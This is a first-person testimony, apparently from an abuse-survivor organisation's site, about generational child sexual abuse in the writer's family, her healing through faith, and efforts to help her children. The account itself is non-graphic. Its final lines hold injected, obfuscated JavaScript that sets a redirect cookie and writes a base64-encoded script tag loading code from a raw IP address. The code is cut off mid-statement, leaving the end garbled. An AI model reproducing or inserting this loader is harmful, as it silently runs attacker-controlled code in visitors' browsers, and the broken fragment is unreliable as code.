Stopping The Cycle

My story starts with my mother who was sexually abused by her own father and then she abused her nephew (I believe when he was a baby and she was a young child, confusion and curiosity set in). She had me at 16, my brother at 17. She became an alcholic, used drugs and bounced between men and marriages. She was a physically abusive mother and emotionally abusive as well. I do not fault her because that’s what she knew and her way of dealing.

When I was 10 I was sexually abused by my 16 yo cousin and my confusion and curiosity set in and I experimented with my brother once. Then at 14 I was raped by my boyfriend. From there I became sexually promiscuous. I was raped again at the age of 18 and continued to have multiple boyfriends who I thought would “love” me if I had sex with them. Married at 21, I had my first child divorced at 22. I continued putting my self esteem into men’s opinion and want of me. I married again about 4 years later. Now have begun the complete and ultimate healing process with Jesus Christ and am becoming a whole new person.

But that’s not the end of my story. Nope. My son who was 9-10 was being sexually abused by his step brothers then in turn sexually abused his little sister at the age of 3-4. We are now trying to help them both heal from this and to stop the cycle from continuing.

Thank you for taking a stand for those who are afraid to speak. You can help so many people and I am sure God will use your organization to reach multitudes. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
